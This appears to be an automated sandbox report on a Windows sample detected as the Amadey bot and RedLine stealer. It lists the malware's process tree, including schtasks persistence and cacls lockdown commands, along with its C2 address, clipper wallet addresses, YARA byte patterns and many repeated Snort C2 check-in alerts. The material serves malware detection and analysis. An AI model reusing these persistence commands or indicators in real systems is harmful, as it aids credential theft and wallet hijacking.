Edit tour

Windows Analysis Report
file.exe

Overview

General Information

Sample Name:	file.exe
Analysis ID:	800983
MD5:	f4b906685385629998faa352a94a2e1f
SHA1:	97ebb6ba0f496f6cabdec20d5c8af07495a00e15
SHA256:	49d5e821c721205ae44d6ef76450b6a1307e06308900065d18ebad11c6abe74f
Tags:	exe
Infos:

Detection

Amadey, RedLine

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Yara detected RedLine Stealer

Yara detected Amadeys stealer DLL

Detected unpacking (overwrites its own PE header)

Yara detected Amadey bot

Detected unpacking (changes PE section rights)

Antivirus detection for URL or domain

Snort IDS alert for network traffic

Multi AV Scanner detection for submitted file

Malicious sample detected (through community Yara rule)

Multi AV Scanner detection for dropped file

Yara detected Amadeys Clipper DLL

Disable Windows Defender real time protection (registry)

Machine Learning detection for sample

Contains functionality to inject code into remote processes

Uses schtasks.exe or at.exe to add and modify task schedules

Disable Windows Defender notifications (registry)

Creates an undocumented autostart registry key

Machine Learning detection for dropped file

C2 URLs / IPs found in malware configuration

Contains functionality to query locales information (e.g. system language)

May sleep (evasive loops) to hinder dynamic analysis

Uses code obfuscation techniques (call, push, ret)

Detected potential crypto function

Sample execution stops while process was sleeping (likely an evasion)

Contains functionality to check the parent process ID (often done to detect debuggers and analysis systems)

Found evasive API chain (may stop execution after checking a module file name)

Contains functionality to dynamically determine API calls

HTTP GET or POST without a user agent

Downloads executable code via HTTP

Contains long sleeps (>= 3 min)

Drops PE files

Contains functionality to read the PEB

Found evasive API chain checking for process token information

Binary contains a suspicious time stamp

Dropped file seen in connection with other malware

Found large amount of non-executed APIs

Creates a process in suspended mode (likely to inject code)

Uses 32bit PE files

Queries the volume information (name, serial number etc) of a device

Yara signature match

Contains functionality to check if a debugger is running (IsDebuggerPresent)

Contains functionality to shutdown / reboot the system

Internet Provider seen in connection with other malware

Contains functionality to query CPU information (cpuid)

Found potential string decryption / allocating functions

Found dropped PE file which has not been started or loaded

Contains functionality which may be used to detect a debugger (GetProcessHeap)

PE file contains executable resources (Code or Archives)

IP address seen in connection with other malware

Enables debug privileges

Creates a DirectInput object (often for capturing keystrokes)

Sample file is different than original file name gathered from version info

Uses cacls to modify the permissions of files

Uses Microsoft's Enhanced Cryptographic Provider

Classification

Process Tree

System is w10x64

file.exe (PID: 616 cmdline: C:\Users\user\Desktop\file.exe MD5: F4B906685385629998FAA352A94A2E1F)

bPsg.exe (PID: 984 cmdline: C:\Users\user~1\AppData\Local\Temp\IXP000.TMP\bPsg.exe MD5: F0D05D7896B3839E5CFBCC78E4FD87FF)

aPsf.exe (PID: 4764 cmdline: C:\Users\user~1\AppData\Local\Temp\IXP001.TMP\aPsf.exe MD5: 5DD55AE0E5CCD8EF2E82679ED0FC11C9)

nika.exe (PID: 604 cmdline: C:\Users\user~1\AppData\Local\Temp\IXP001.TMP\nika.exe MD5: 7E93BACBBC33E6652E147E7FE07572A0)

xriv.exe (PID: 3596 cmdline: C:\Users\user~1\AppData\Local\Temp\IXP000.TMP\xriv.exe MD5: 8BB923C4D81284DAEF7896E5682DF6C6)

mnolyk.exe (PID: 6136 cmdline: "C:\Users\user~1\AppData\Local\Temp\4b9a106e76\mnolyk.exe" MD5: 8BB923C4D81284DAEF7896E5682DF6C6)

schtasks.exe (PID: 6024 cmdline: "C:\Windows\System32\schtasks.exe" /Create /SC MINUTE /MO 1 /TN mnolyk.exe /TR "C:\Users\user~1\AppData\Local\Temp\4b9a106e76\mnolyk.exe" /F MD5: 15FF7D8324231381BAD48A052F85DF04)

conhost.exe (PID: 6044 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: EA777DEEA782E8B4D7C7C33BBF8A4496)

cmd.exe (PID: 6068 cmdline: "C:\Windows\System32\cmd.exe" /k echo Y|CACLS "mnolyk.exe" /P "user:N"&&CACLS "mnolyk.exe" /P "user:R" /E&&echo Y|CACLS "..\4b9a106e76" /P "user:N"&&CACLS "..\4b9a106e76" /P "user:R" /E&&Exit MD5: F3BDBE3BB6F734E357235F4D5898582D)

conhost.exe (PID: 6088 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: EA777DEEA782E8B4D7C7C33BBF8A4496)

cmd.exe (PID: 768 cmdline: C:\Windows\system32\cmd.exe /S /D /c" echo Y" MD5: F3BDBE3BB6F734E357235F4D5898582D)

cacls.exe (PID: 4204 cmdline: CACLS "mnolyk.exe" /P "user:N" MD5: 4CBB1C027DF71C53A8EE4C855FD35B25)

cacls.exe (PID: 4812 cmdline: CACLS "mnolyk.exe" /P "user:R" /E MD5: 4CBB1C027DF71C53A8EE4C855FD35B25)

cmd.exe (PID: 3104 cmdline: C:\Windows\system32\cmd.exe /S /D /c" echo Y" MD5: F3BDBE3BB6F734E357235F4D5898582D)

cacls.exe (PID: 5312 cmdline: CACLS "..\4b9a106e76" /P "user:N" MD5: 4CBB1C027DF71C53A8EE4C855FD35B25)

cacls.exe (PID: 4012 cmdline: CACLS "..\4b9a106e76" /P "user:R" /E MD5: 4CBB1C027DF71C53A8EE4C855FD35B25)

rundll32.exe (PID: 1248 cmdline: "C:\Windows\System32\rundll32.exe" C:\Users\user\AppData\Roaming\c1ec479e5342a2\clip64.dll, Main MD5: D7CA562B0DB4F4DD0F03A89A1FDAD63D)

rundll32.exe (PID: 5316 cmdline: C:\Windows\system32\rundll32.exe" C:\Windows\system32\advpack.dll,DelNodeRunDLL32 "C:\Users\user~1\AppData\Local\Temp\IXP000.TMP\ MD5: 73C519F050C20580F8A62C849D49215A)

rundll32.exe (PID: 4736 cmdline: C:\Windows\system32\rundll32.exe" C:\Windows\system32\advpack.dll,DelNodeRunDLL32 "C:\Users\user~1\AppData\Local\Temp\IXP001.TMP\ MD5: 73C519F050C20580F8A62C849D49215A)

mnolyk.exe (PID: 4664 cmdline: C:\Users\user~1\AppData\Local\Temp\4b9a106e76\mnolyk.exe MD5: 8BB923C4D81284DAEF7896E5682DF6C6)

mnolyk.exe (PID: 5432 cmdline: C:\Users\user~1\AppData\Local\Temp\4b9a106e76\mnolyk.exe MD5: 8BB923C4D81284DAEF7896E5682DF6C6)

mnolyk.exe (PID: 2848 cmdline: C:\Users\user~1\AppData\Local\Temp\4b9a106e76\mnolyk.exe MD5: 8BB923C4D81284DAEF7896E5682DF6C6)

mnolyk.exe (PID: 5764 cmdline: C:\Users\user~1\AppData\Local\Temp\4b9a106e76\mnolyk.exe MD5: 8BB923C4D81284DAEF7896E5682DF6C6)

cleanup

Malware Configuration

Threatname: Amadey

{"C2 url": "62.204.41.4/Gol478Ns/index.php", "Version": "3.66"}

Threatname: Amadey

{"Wallet Addresses": ["bc1qslzv7hczpsatc8lq285gy38r4af0c3alsc4m77", "0x89E34Ee2016a5E5a97b5E9598C251D2a2746Ba0D", "LdYspWr6nkQ3ZNNTsmba77u4frHDhji1Nv", "DBjzffi3umhLQbUGLRoNQwZ4pjoKyNFahf", "42zbZM5ozb4iDSN7hxNnQ1DSAvEmGY3z2KvAYmMxSJkUCc5bJyJ5hdkUu4324VJx8ACcDJJXg2NbRdWVcDyS87tyLikjVVJ"]}

Yara Signatures

PCAP (Network Traffic)

Source	Rule	Description	Author	Strings
dump.pcap	JoeSecurity_Amadey	Yara detected Amadey bot	Joe Security

Dropped Files

Source	Rule	Description	Author
C:\Users\user\AppData\Roaming\c1ec479e5342a2\clip64.dll	JoeSecurity_Amadey_3	Yara detected Amadey\'s Clipper DLL	Joe Security
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\6M6D1PMD\clip64[1].dll	JoeSecurity_Amadey_3	Yara detected Amadey\'s Clipper DLL	Joe Security
C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
C:\Users\user\AppData\Local\Temp\IXP000.TMP\xriv.exe	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security

Memory Dumps

Source	Rule	Description	Author	Strings
00000021.00000002.712917292.00000000001B1000.00000020.00000001.01000000.0000000A.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
00000021.00000000.712317333.00000000001B1000.00000020.00000001.01000000.0000000A.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
0000000F.00000002.776200491.00000000001B1000.00000020.00000001.01000000.0000000A.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
0000000F.00000000.321018621.00000000001B1000.00000020.00000001.01000000.0000000A.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
0000000E.00000002.321481606.0000000001201000.00000020.00000001.01000000.00000009.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
0000000F.00000002.776777410.0000000000F78000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_Amadey	Yara detected Amadey bot	Joe Security
0000001E.00000002.455495920.00000000001B1000.00000020.00000001.01000000.0000000A.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
00000002.00000002.292364966.0000000000660000.00000040.00001000.00020000.00000000.sdmp	JoeSecurity_RedLine	Yara detected RedLine Stealer	Joe Security
00000002.00000002.292364966.0000000000660000.00000040.00001000.00020000.00000000.sdmp	Windows_Trojan_Smokeloader_3687686f	unknown	unknown	0x30d:$a: 0C 8B 45 F0 89 45 C8 8B 45 C8 8B 40 3C 8B 4D F0 8D 44 01 04 89
0000000E.00000000.319942123.0000000001201000.00000020.00000001.01000000.00000009.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
00000002.00000002.292171350.0000000000400000.00000040.00000001.01000000.00000005.sdmp	JoeSecurity_RedLine	Yara detected RedLine Stealer	Joe Security
00000002.00000002.292171350.0000000000400000.00000040.00000001.01000000.00000005.sdmp	MALWARE_Win_RedLine	Detects RedLine infostealer	ditekSHen	0x1e4b0:$s1: 23 00 2B 00 33 00 3B 00 43 00 53 00 63 00 73 00 0x80:$s2: 68 10 84 2D 2C 71 EA 7E 2C 71 EA 7E 2C 71 EA 7E 32 23 7F 7E 3F 71 EA 7E 0B B7 91 7E 2B 71 EA 7E 2C 71 EB 7E 5C 71 EA 7E 32 23 6E 7E 1C 71 EA 7E 32 23 69 7E A2 71 EA 7E 32 23 7B 7E 2D 71 EA 7E 0x1300:$s3: 83 EC 38 53 B0 C4 88 44 24 2B 88 44 24 2F B0 3F 88 44 24 30 88 44 24 31 88 44 24 33 55 56 8B F1 B8 0C 00 FE FF 2B C6 89 44 24 14 B8 0D 00 FE FF 2B C6 89 44 24 1C B8 02 00 FE FF 2B C6 89 44 24 ... 0x2018a:$s4: B\|BxBtBpBlBhBdB`B\BXBTBPBLBHBDB@B<B8B4B0B,B(B$B B 0x1fdd0:$s5: delete[] 0x1f288:$s6: constructor or from DllMain.
00000017.00000000.324372963.00000000001B1000.00000020.00000001.01000000.0000000A.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
0000000F.00000002.776777410.0000000000F9E000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_Amadey	Yara detected Amadey bot	Joe Security
00000000.00000003.254673704.0000000004709000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
00000002.00000002.292530050.00000000006F7000.00000040.00000020.00020000.00000000.sdmp	Windows_Trojan_RedLineStealer_ed346e4c	unknown	unknown	0x1348:$a: 55 8B EC 8B 45 14 56 57 8B 7D 08 33 F6 89 47 0C 39 75 10 76 15 8B
0000001E.00000000.454883478.00000000001B1000.00000020.00000001.01000000.0000000A.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
00000002.00000003.267977277.0000000000690000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_RedLine	Yara detected RedLine Stealer	Joe Security
00000002.00000003.267977277.0000000000690000.00000004.00001000.00020000.00000000.sdmp	MALWARE_Win_RedLine	Detects RedLine infostealer	ditekSHen	0x1d0b0:$s1: 23 00 2B 00 33 00 3B 00 43 00 53 00 63 00 73 00 0x80:$s2: 68 10 84 2D 2C 71 EA 7E 2C 71 EA 7E 2C 71 EA 7E 32 23 7F 7E 3F 71 EA 7E 0B B7 91 7E 2B 71 EA 7E 2C 71 EB 7E 5C 71 EA 7E 32 23 6E 7E 1C 71 EA 7E 32 23 69 7E A2 71 EA 7E 32 23 7B 7E 2D 71 EA 7E 0x700:$s3: 83 EC 38 53 B0 C4 88 44 24 2B 88 44 24 2F B0 3F 88 44 24 30 88 44 24 31 88 44 24 33 55 56 8B F1 B8 0C 00 FE FF 2B C6 89 44 24 14 B8 0D 00 FE FF 2B C6 89 44 24 1C B8 02 00 FE FF 2B C6 89 44 24 ... 0x1ed8a:$s4: B\|BxBtBpBlBhBdB`B\BXBTBPBLBHBDB@B<B8B4B0B,B(B$B B 0x1e9d0:$s5: delete[] 0x1de88:$s6: constructor or from DllMain.
00000017.00000002.331572351.00000000001B1000.00000020.00000001.01000000.0000000A.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
00000020.00000000.583498615.00000000001B1000.00000020.00000001.01000000.0000000A.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
00000020.00000002.583819503.00000000001B1000.00000020.00000001.01000000.0000000A.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
Process Memory Space: mnolyk.exe PID: 6136	JoeSecurity_Amadey	Yara detected Amadey bot	Joe Security
Process Memory Space: mnolyk.exe PID: 5764	webshell_php_encoded_big	PHP webshell using some kind of eval with encoded blob to decode	Arnim Rupp	0x0:$php_short: <? 0xdba3:$cpayload5: SYSTEM(x
Click to see the 19 entries

Unpacked PEs

Source	Rule	Description	Author	Strings
2.3.aPsf.exe.690000.0.raw.unpack	JoeSecurity_RedLine	Yara detected RedLine Stealer	Joe Security
2.3.aPsf.exe.690000.0.raw.unpack	MALWARE_Win_RedLine	Detects RedLine infostealer	ditekSHen	0x1d0b0:$s1: 23 00 2B 00 33 00 3B 00 43 00 53 00 63 00 73 00 0x80:$s2: 68 10 84 2D 2C 71 EA 7E 2C 71 EA 7E 2C 71 EA 7E 32 23 7F 7E 3F 71 EA 7E 0B B7 91 7E 2B 71 EA 7E 2C 71 EB 7E 5C 71 EA 7E 32 23 6E 7E 1C 71 EA 7E 32 23 69 7E A2 71 EA 7E 32 23 7B 7E 2D 71 EA 7E 0x700:$s3: 83 EC 38 53 B0 C4 88 44 24 2B 88 44 24 2F B0 3F 88 44 24 30 88 44 24 31 88 44 24 33 55 56 8B F1 B8 0C 00 FE FF 2B C6 89 44 24 14 B8 0D 00 FE FF 2B C6 89 44 24 1C B8 02 00 FE FF 2B C6 89 44 24 ... 0x1ed8a:$s4: B\|BxBtBpBlBhBdB`B\BXBTBPBLBHBDB@B<B8B4B0B,B(B$B B 0x1e9d0:$s5: delete[] 0x1de88:$s6: constructor or from DllMain.
0.3.file.exe.475dc20.0.raw.unpack	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
0.3.file.exe.475dc20.0.unpack	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
2.2.aPsf.exe.400000.0.unpack	JoeSecurity_RedLine	Yara detected RedLine Stealer	Joe Security
2.2.aPsf.exe.400000.0.unpack	MALWARE_Win_RedLine	Detects RedLine infostealer	ditekSHen	0x1d0b0:$s1: 23 00 2B 00 33 00 3B 00 43 00 53 00 63 00 73 00 0x80:$s2: 68 10 84 2D 2C 71 EA 7E 2C 71 EA 7E 2C 71 EA 7E 32 23 7F 7E 3F 71 EA 7E 0B B7 91 7E 2B 71 EA 7E 2C 71 EB 7E 5C 71 EA 7E 32 23 6E 7E 1C 71 EA 7E 32 23 69 7E A2 71 EA 7E 32 23 7B 7E 2D 71 EA 7E 0x700:$s3: 83 EC 38 53 B0 C4 88 44 24 2B 88 44 24 2F B0 3F 88 44 24 30 88 44 24 31 88 44 24 33 55 56 8B F1 B8 0C 00 FE FF 2B C6 89 44 24 14 B8 0D 00 FE FF 2B C6 89 44 24 1C B8 02 00 FE FF 2B C6 89 44 24 ... 0x1ed8a:$s4: B\|BxBtBpBlBhBdB`B\BXBTBPBLBHBDB@B<B8B4B0B,B(B$B B 0x1e9d0:$s5: delete[] 0x1de88:$s6: constructor or from DllMain.
15.0.mnolyk.exe.1b0000.0.unpack	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
14.2.xriv.exe.1200000.0.unpack	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
15.2.mnolyk.exe.1b0000.0.unpack	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
2.2.aPsf.exe.400000.0.raw.unpack	JoeSecurity_RedLine	Yara detected RedLine Stealer	Joe Security
2.2.aPsf.exe.400000.0.raw.unpack	MALWARE_Win_RedLine	Detects RedLine infostealer	ditekSHen	0x1e4b0:$s1: 23 00 2B 00 33 00 3B 00 43 00 53 00 63 00 73 00 0x80:$s2: 68 10 84 2D 2C 71 EA 7E 2C 71 EA 7E 2C 71 EA 7E 32 23 7F 7E 3F 71 EA 7E 0B B7 91 7E 2B 71 EA 7E 2C 71 EB 7E 5C 71 EA 7E 32 23 6E 7E 1C 71 EA 7E 32 23 69 7E A2 71 EA 7E 32 23 7B 7E 2D 71 EA 7E 0x1300:$s3: 83 EC 38 53 B0 C4 88 44 24 2B 88 44 24 2F B0 3F 88 44 24 30 88 44 24 31 88 44 24 33 55 56 8B F1 B8 0C 00 FE FF 2B C6 89 44 24 14 B8 0D 00 FE FF 2B C6 89 44 24 1C B8 02 00 FE FF 2B C6 89 44 24 ... 0x2018a:$s4: B\|BxBtBpBlBhBdB`B\BXBTBPBLBHBDB@B<B8B4B0B,B(B$B B 0x1fdd0:$s5: delete[] 0x1f288:$s6: constructor or from DllMain.
30.0.mnolyk.exe.1b0000.0.unpack	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
33.0.mnolyk.exe.1b0000.0.unpack	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
32.0.mnolyk.exe.1b0000.0.unpack	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
23.2.mnolyk.exe.1b0000.0.unpack	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
33.2.mnolyk.exe.1b0000.0.unpack	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
2.2.aPsf.exe.660e67.1.raw.unpack	JoeSecurity_RedLine	Yara detected RedLine Stealer	Joe Security
2.2.aPsf.exe.660e67.1.raw.unpack	MALWARE_Win_RedLine	Detects RedLine infostealer	ditekSHen	0x1d0b0:$s1: 23 00 2B 00 33 00 3B 00 43 00 53 00 63 00 73 00 0x80:$s2: 68 10 84 2D 2C 71 EA 7E 2C 71 EA 7E 2C 71 EA 7E 32 23 7F 7E 3F 71 EA 7E 0B B7 91 7E 2B 71 EA 7E 2C 71 EB 7E 5C 71 EA 7E 32 23 6E 7E 1C 71 EA 7E 32 23 69 7E A2 71 EA 7E 32 23 7B 7E 2D 71 EA 7E 0x700:$s3: 83 EC 38 53 B0 C4 88 44 24 2B 88 44 24 2F B0 3F 88 44 24 30 88 44 24 31 88 44 24 33 55 56 8B F1 B8 0C 00 FE FF 2B C6 89 44 24 14 B8 0D 00 FE FF 2B C6 89 44 24 1C B8 02 00 FE FF 2B C6 89 44 24 ... 0x1ed8a:$s4: B\|BxBtBpBlBhBdB`B\BXBTBPBLBHBDB@B<B8B4B0B,B(B$B B 0x1e9d0:$s5: delete[] 0x1de88:$s6: constructor or from DllMain.
26.2.rundll32.exe.6ec20000.0.unpack	JoeSecurity_Amadey_3	Yara detected Amadey\'s Clipper DLL	Joe Security
32.2.mnolyk.exe.1b0000.0.unpack	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
23.0.mnolyk.exe.1b0000.0.unpack	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
14.0.xriv.exe.1200000.0.unpack	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
30.2.mnolyk.exe.1b0000.0.unpack	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
Click to see the 18 entries

Snort Signatures

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.7 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.762.204.41.449808802027700 02/07/23-23:07:30.643129
SID:	2027700
Source Port:	49808
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.7 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.762.204.41.449869802027700 02/07/23-23:07:47.148730
SID:	2027700
Source Port:	49869
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.7 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.762.204.41.450136802027700 02/07/23-23:09:00.282670
SID:	2027700
Source Port:	50136
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.7 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.762.204.41.450427802027700 02/07/23-23:10:16.088952
SID:	2027700
Source Port:	50427
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.7 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.762.204.41.450041802027700 02/07/23-23:08:35.406746
SID:	2027700
Source Port:	50041
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.7 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.762.204.41.450197802027700 02/07/23-23:09:17.360535
SID:	2027700
Source Port:	50197
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.7 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.762.204.41.450332802027700 02/07/23-23:09:52.732684
SID:	2027700
Source Port:	50332
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.7 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.762.204.41.449774802027700 02/07/23-23:07:22.447558
SID:	2027700
Source Port:	49774
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.7 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.762.204.41.450393802027700 02/07/23-23:10:07.593303
SID:	2027700
Source Port:	50393
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.7 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.762.204.41.449713802027700 02/07/23-23:07:06.192941
SID:	2027700
Source Port:	49713
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.7 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.762.204.41.449746802027700 02/07/23-23:07:13.923684
SID:	2027700
Source Port:	49746
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.7 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.762.204.41.450074802027700 02/07/23-23:08:44.559819
SID:	2027700
Source Port:	50074
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.7 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.762.204.41.450270802027700 02/07/23-23:09:37.475504
SID:	2027700
Source Port:	50270
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.7 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.762.204.41.450304802027700 02/07/23-23:09:45.806702
SID:	2027700
Source Port:	50304
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.7 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.762.204.41.450422802027700 02/07/23-23:10:14.657368
SID:	2027700
Source Port:	50422
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.7 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.762.204.41.450013802027700 02/07/23-23:08:27.775982
SID:	2027700
Source Port:	50013
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.7 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.762.204.41.449897802027700 02/07/23-23:07:54.022407
SID:	2027700
Source Port:	49897
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.7 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.762.204.41.450398802027700 02/07/23-23:10:08.813551
SID:	2027700
Source Port:	50398
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.7 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.762.204.41.449779802027700 02/07/23-23:07:23.701655
SID:	2027700
Source Port:	49779
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.7 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.762.204.41.449975802027700 02/07/23-23:08:18.409780
SID:	2027700
Source Port:	49975
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.7 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.762.204.41.450108802027700 02/07/23-23:08:53.335185
SID:	2027700
Source Port:	50108
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.7 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.762.204.41.449970802027700 02/07/23-23:08:15.189928
SID:	2027700
Source Port:	49970
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.7 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.762.204.41.450103802027700 02/07/23-23:08:51.993571
SID:	2027700
Source Port:	50103
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.7 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.762.204.41.449892802027700 02/07/23-23:07:52.780225
SID:	2027700
Source Port:	49892
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.7 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.762.204.41.450079802027700 02/07/23-23:08:45.791597
SID:	2027700
Source Port:	50079
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.7 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.762.204.41.450309802027700 02/07/23-23:09:47.063197
SID:	2027700
Source Port:	50309
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.7 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.762.204.41.450254802027700 02/07/23-23:09:33.517906
SID:	2027700
Source Port:	50254
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.7 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.762.204.41.449852802027700 02/07/23-23:07:42.945716
SID:	2027700
Source Port:	49852
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.7 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.762.204.41.450180802027700 02/07/23-23:09:13.154966
SID:	2027700
Source Port:	50180
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.7 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.762.204.41.449926802027700 02/07/23-23:08:04.026093
SID:	2027700
Source Port:	49926
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.7 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.762.204.41.450287802027700 02/07/23-23:09:41.643242
SID:	2027700
Source Port:	50287
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.7 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.762.204.41.449959802027700 02/07/23-23:08:12.184455
SID:	2027700
Source Port:	49959
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.7 - Destination IP: 62.204.41.4

